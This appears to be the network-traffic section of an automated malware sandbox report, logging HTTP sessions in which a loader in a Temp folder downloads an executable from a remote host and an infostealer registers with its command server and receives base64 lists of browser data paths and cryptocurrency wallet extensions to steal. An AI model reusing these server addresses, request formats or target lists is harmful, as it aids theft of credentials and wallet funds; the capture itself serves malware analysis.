Nov 2, 2024 07:16:21.270612001 CET	212	IN	Data Raw: 78 5c cf bc 60 5f 4a d0 9c c4 b3 43 d0 1b 22 1b b7 7d 1e 27 d5 07 15 e3 16 e7 9d 3e b7 c0 ec ea 1c b2 7c ce 29 29 52 a3 58 82 c5 87 25 a0 a7 bb d7 73 fd 0e a5 68 a4 1b d9 5d 0e 27 a6 52 e4 bb e6 35 d7 bc 12 29 a8 ab b0 e0 4e 80 3c 79 ea 7b 13 9f Data Ascii: x\`_JC"}'>\|))RX%sh]'R5)N<y{Plq^j(9}LkX}!/?`49NpO/d)-V"![G4S>aQFt1`p.yHCIt&{
Nov 2, 2024 07:16:21.270626068 CET	1236	IN	Data Raw: fd 27 2f 3e 66 89 0f 92 88 c7 2f 68 e1 ad 91 01 ce e5 11 9d be ae 67 c7 8a 14 2c c7 9f 0d 60 7a 08 b6 5f 47 fd 72 3d 47 f2 5d 78 7b e7 c7 83 48 dc a1 8f bb d8 d2 c4 a7 3a 76 fe 4c 24 6b ed 66 91 9e 43 b3 eb a6 e9 72 c7 4a 66 7f ab 1d b0 8d d8 e9 Data Ascii: '/>f/hg,`z_Gr=G]x{H:vL$kfCrJf=-.9 g`VX#H~Xxm,opyYTNdXB9\|[[G5#`mC[=( ]W=%.U,0#c35i':3
Nov 2, 2024 07:16:21.270641088 CET	212	IN	Data Raw: 82 46 ed 34 b6 19 7c a6 d6 a2 43 4f 18 ae 03 59 79 ce 23 40 96 44 14 c6 ad 25 64 03 7a 51 de 81 9d fd 33 48 f8 9d 8e c5 86 01 65 47 d8 71 e4 4f 18 d9 75 ae b8 05 68 63 2c 36 f5 da 9c 16 6a 5b 44 ff 52 a5 88 ae fc f6 d1 5c 04 cf 11 13 ed 78 64 b6 Data Ascii: F4\|COYy#@D%dzQ3HeGqOuhc,6j[DR\xdH^hPlIuUS"?;QF~PHW/`y$PEHP=PLSJJ^]Fh\|BDu"bXy W;xpqG)On_VPcs
Nov 2, 2024 07:16:21.270658016 CET	1236	IN	Data Raw: 76 41 4a db c6 dd fd 8a a5 b8 f7 5a e7 03 bd 5f f4 ae 1d a7 b7 9f 6f 03 f9 1d 5c 7b 20 b6 cc 56 ac 29 60 b8 8e 2d 1e 50 44 a6 b3 53 bc 36 0e 3d d8 76 e4 4f 64 d9 9a a8 a8 03 28 cd 6c 19 1e 1f be 3b f5 ca e4 c7 63 2f e3 9d fc c7 21 59 1c a6 d5 9c Data Ascii: vAJZ_o\{ V)`-PDS6=vOd(l;c/!YC?MSeFPPAyY*3Y\zUJO]'_il^Q1t8KH;Y>5eS` i-X5BUJ>#Wpd
Nov 2, 2024 07:16:21.270674944 CET	1236	IN	Data Raw: 70 b8 0a c9 54 f7 84 1f 19 ae d3 59 aa ce 1b 6d 05 a6 e3 64 ce b5 9f 34 90 b2 13 33 5f cd f4 46 e0 1d c0 1b 9d 2d 53 97 35 ae 4f 3f 5f 23 08 93 00 b5 40 bf 9c ae 73 7b 46 07 14 c8 c6 3d e4 f2 18 dc 74 58 ec c7 0d 07 a6 79 e4 b6 22 de 1f ae 1e 8d Data Ascii: pTYmd43_F-S5O?_#@s{F=tXy"u"?og)ew/yhWYGO$k&~<_t#fd)gMg_P3#OfaS*S[+`~k9q1L827YZ
Nov 2, 2024 07:16:21.275567055 CET	1236	IN	Data Raw: f1 e9 dc c0 14 ae eb ca 1c bb c0 6f 6c e1 83 d8 ad 4d e5 28 ce 35 48 27 5f 5d f5 46 70 19 d0 40 f6 a9 4c a3 28 85 f5 a6 d8 d4 b6 c5 ef dd 67 ab a4 d9 1a 53 35 ae 9d 53 18 28 ef 4a bc ae fc 6e a5 3e a0 87 02 21 21 7f 35 ae 33 3f 24 23 1e eb dd 83 Data Ascii: olM(5H'_]Fp@L(gS5S(Jn>!!53?$#u"9M@{LKwi\4mP#.?z1vOuz0\|\|PyDK_R"%}P0XGY]iyLh-s^pPF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	63895	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:25.582989931 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 33 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003344001&unit=246122658369
Nov 2, 2024 07:16:26.520318985 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	63898	185.215.113.16	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:26.819185019 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 2, 2024 07:16:27.760615110 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:27 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Sat, 02 Nov 2024 05:01:44 GMT Connection: keep-alive ETag: "6725b238-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 30 b2 25 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL0%g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Nov 2, 2024 07:16:27.760656118 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Nov 2, 2024 07:16:27.760665894 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Nov 2, 2024 07:16:27.760726929 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Nov 2, 2024 07:16:27.760740042 CET	424	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Nov 2, 2024 07:16:27.760757923 CET	1236	IN	Data Raw: 00 e8 20 4c 00 00 6a 04 e8 45 e2 01 00 c7 04 24 7c c9 49 00 83 20 00 89 06 ff 15 20 c7 49 00 89 46 04 8b c6 5e c3 6a 10 8d 41 04 5a 83 20 00 8d 40 08 83 ea 01 75 f5 8b c1 c3 53 56 8b 35 98 c6 49 00 33 db 57 8b f9 6a 05 58 53 89 07 89 47 04 66 c7 Data Ascii: LjE$\|I IF^jAZ @uSV5I3WjXSGfG____j[GSjG)ShG&ShG'SjG(SjG$G%_^[UQW3EWPWh }IEjWWh %MI_U=Mt_E%\M%PM
Nov 2, 2024 07:16:27.760770082 CET	1236	IN	Data Raw: f8 85 ff 0f 84 c3 00 00 00 8d 4a ff 89 0d 28 15 4d 00 8b 4f 04 8b 31 66 83 7e 08 00 75 d3 8b 36 83 fe 20 74 05 83 fe 2b 75 c7 83 fe 2b 0f 94 c3 33 c0 83 fe 2b 0f 94 c0 8d 04 85 04 00 00 00 8b 0c 08 66 83 79 08 34 0f 85 1b 07 04 00 8b 09 83 ec 10 Data Ascii: J(MO1f~u6 t+u+3+fy4AEAEARUE{lMG3+DfxGuBAEESPEPEPWDMnwU%lMc3_^[jiXlU<SVMM
Nov 2, 2024 07:16:27.760782957 CET	424	IN	Data Raw: 41 04 6a 7f 59 66 39 48 08 0f 85 c7 04 04 00 8b 45 f4 48 4f 83 bd 54 ff ff ff 00 89 45 f4 0f 84 9e 02 04 00 80 bd 5d ff ff ff 00 8b 45 bc 0f 85 96 02 04 00 8b 18 8d 8d 54 ff ff ff e8 70 02 00 00 8b 85 58 ff ff ff 89 45 bc 8b 45 f4 85 c0 0f 88 92 Data Ascii: AjYf9HEHOTE]ETpXEE;1uuuuSRu3SxMxl`MTM_^[rU]
Nov 2, 2024 07:16:27.760796070 CET	1236	IN	Data Raw: 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 00 00 00 8b 85 7c ff ff ff 89 45 c8 8b 45 f0 85 c0 78 08 3b fb 0f 84 b9 fb ff ff 56 68 93 00 00 00 e9 36 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 e6 02 04 00 8b 55 f8 4a 4f 83 bd 60 ff ff Data Ascii: Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D#&@3&@0%@v&@'@B&@&@$@;$@UE;#M~#M
Nov 2, 2024 07:16:27.760842085 CET	1236	IN	Data Raw: ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d 00 a3 e0 13 4d 00 ff d6 68 a2 00 00 00 ff 35 58 13 4d 00 a3 e8 13 4d 00 ff d6 33 f6 a3 ec 13 4d 00 56 6a 10 6a 10 6a 01 6a 63 ff 35 58 13 4d 00 ff 15 a0 c5 49 00 8b 0d 58 13 4d 00 8b d0 a1 e0 Data Ascii: 5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^[VW5,I3W5XMWWjdh,PPhIPPWW5XMMj
Nov 2, 2024 07:16:27.765804052 CET	1236	IN	Data Raw: c2 08 00 55 8b ec 8b 11 3b 51 1c 7d 1e 8d 42 01 89 01 8b 41 18 8b 4d 08 3b 0c 90 74 08 ff 34 90 e8 21 78 00 00 b0 01 5d c2 04 00 8b 4d 08 68 08 cc 49 00 e8 9e 3a 00 00 32 c0 eb eb 56 57 8b f9 8d 77 14 8b ce e8 15 37 00 00 83 27 00 8b ce c6 47 24 Data Ascii: U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLHHPPjIUuUuMYY]U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	63908	185.215.113.206	80	4136	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:28.263741970 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 2, 2024 07:16:29.188654900 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 2, 2024 07:16:29.337538004 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJJEBFCGDAKFIEBAAFB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4a 45 42 46 43 47 44 41 4b 46 49 45 42 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 38 39 41 38 37 30 36 32 39 46 31 31 34 34 38 34 35 36 39 33 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4a 45 42 46 43 47 44 41 4b 46 49 45 42 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4a 45 42 46 43 47 44 41 4b 46 49 45 42 41 41 46 42 2d 2d 0d 0a Data Ascii: ------KKJJEBFCGDAKFIEBAAFBContent-Disposition: form-data; name="hwid"A89A870629F11448456937------KKJJEBFCGDAKFIEBAAFBContent-Disposition: form-data; name="build"tale------KKJJEBFCGDAKFIEBAAFB--
Nov 2, 2024 07:16:29.638623953 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 7a 41 31 4f 44 59 79 4d 6a 63 32 59 6d 4d 79 4d 54 6b 78 59 57 5a 6c 4e 47 59 32 59 6d 52 6c 4f 54 49 32 4e 6d 59 78 59 57 52 6a 4d 54 49 30 4f 54 52 6d 4e 7a 64 6d 4e 54 52 69 4e 32 45 33 59 6a 41 35 59 7a 59 34 5a 6d 46 6c 4e 54 51 32 4f 57 4e 6c 4f 47 56 6c 5a 44 67 79 5a 6a 67 35 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MzA1ODYyMjc2YmMyMTkxYWZlNGY2YmRlOTI2NmYxYWRjMTI0OTRmNzdmNTRiN2E3YjA5YzY4ZmFlNTQ2OWNlOGVlZDgyZjg5fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 2, 2024 07:16:29.649538994 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJJJEBGCFBGDHIDGCA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 32 37 36 62 63 32 31 39 31 61 66 65 34 66 36 62 64 65 39 32 36 36 66 31 61 64 63 31 32 34 39 34 66 37 37 66 35 34 62 37 61 37 62 30 39 63 36 38 66 61 65 35 34 36 39 63 65 38 65 65 64 38 32 66 38 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 2d 2d 0d 0a Data Ascii: ------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="message"browsers------KFIJJJEBGCFBGDHIDGCA--
Nov 2, 2024 07:16:29.936938047 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Nov 2, 2024 07:16:29.936963081 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Nov 2, 2024 07:16:29.947288036 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 32 37 36 62 63 32 31 39 31 61 66 65 34 66 36 62 64 65 39 32 36 36 66 31 61 64 63 31 32 34 39 34 66 37 37 66 35 34 62 37 61 37 62 30 39 63 36 38 66 61 65 35 34 36 39 63 65 38 65 65 64 38 32 66 38 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="message"plugins------EHDHDHIECGCAEBFIIDHI--
Nov 2, 2024 07:16:30.235161066 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
